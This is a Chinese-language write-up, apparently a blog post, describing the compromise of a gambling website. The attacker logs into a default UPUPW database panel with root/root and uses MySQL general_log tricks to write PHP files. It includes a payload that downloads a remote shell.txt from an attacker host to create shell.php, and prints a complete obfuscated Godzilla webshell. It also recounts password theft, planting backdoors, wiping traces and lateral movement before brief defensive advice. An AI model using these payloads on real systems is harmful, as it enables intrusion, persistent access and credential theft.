简单绕过waf拿下赌博网站
字数 753 2025-08-06 08:35:27
绕过WAF攻陷赌博网站的技术分析
目标识别与信息收集
-
初始侦察:
- 进行常规测试:目录扫描、端口扫描、JS文件分析
- 中间件识别和指纹识别
- 发现目标使用
upupwPHP集成环境(类似phpstudy)
-
关键发现:
- 访问特定路径触发报错页面
- 识别出集成环境包含phpinfo页面和数据库管理界面
- 默认路径:
u.php(类似phpstudy的phpmyadmin)
初始渗透尝试
-
认证绕过:
- 测试默认凭证:
root/root成功登录 - 获取phpinfo页面确认环境信息
- 测试默认凭证:
-
尝试getshell:
- 标准三步法:
set global general_log='on'; SET global general_log_file='D:/xxxx/WWW/cmd.php'; SELECT '<?php assert($_POST["cmd"])?>'; - 执行卡住,怀疑存在WAF拦截
- 标准三步法:
WAF绕过技术
-
初步分析:
- 尝试写入免杀马到txt文件成功
- 直接写入php文件被拦截
- 确认存在代码过滤型WAF
-
JavaScript转PHP技术:
- 使用远程下载方式绕过WAF检测
- 关键payload:
SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php'; SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt"; $b="file"."_g"."et_"."contents"; $b = $b($a); file_put_contents("shell.php",$b); </script>' - 访问11.php生成shell.php
-
免杀Webshell:
- 使用哥斯拉免杀shell:
<?php session_start(); @set_time_limit(0); @error_reporting(0); function E($D,$K){ for($i=0;$i<strlen($D);$i++) { $D[$i] = $D[$i]^$K[$i+1&15]; } return $D; } function Q($D){ return base64_encode($D); } function O($D){ return base64_decode($D); } $P='pass'; $V='payload'; $T='3c6e0b8a9c15224a'; if (isset($_POST[$P])){ $F=O(E(O($_POST[$P]),$T)); if (isset($_SESSION[$V])){ $L=$_SESSION[$V]; $A=explode('|',$L); class C{public function nvoke($p) {eval($p."");}} $R=new C(); $R->nvoke($A[0]); echo substr(md5($P.$T),0,16); echo Q(E(@run($F),$T)); echo substr(md5($P.$T),16); }else{ $_SESSION[$V]=$F; } }
- 使用哥斯拉免杀shell:
权限提升与持久化
-
权限确认:
- 检查进程未发现WAF进程
- 当前权限为SYSTEM(最高权限)
-
数据窃取:
- 下载网站源码
- 发现使用360WebScan作为WAF
- 上传抓密码工具获取管理凭证
-
后门部署:
- 部署多个后门确保持久访问
- 清理操作痕迹
- 发现同网段其他机器,扩大攻击面
防御建议
-
针对管理员:
- 修改所有默认凭证
- 移除不必要的phpinfo等调试页面
- 限制数据库远程访问权限
- 更新WAF规则,特别是针对非常规PHP标签的检测
-
针对开发者:
- 禁用general_log功能
- 实施文件写入权限控制
- 监控异常文件创建行为
- 使用代码签名验证上传文件
-
针对架构:
- 部署多层防御体系
- 实施网络分段隔离
- 建立完善的日志审计机制
- 定期进行渗透测试和安全评估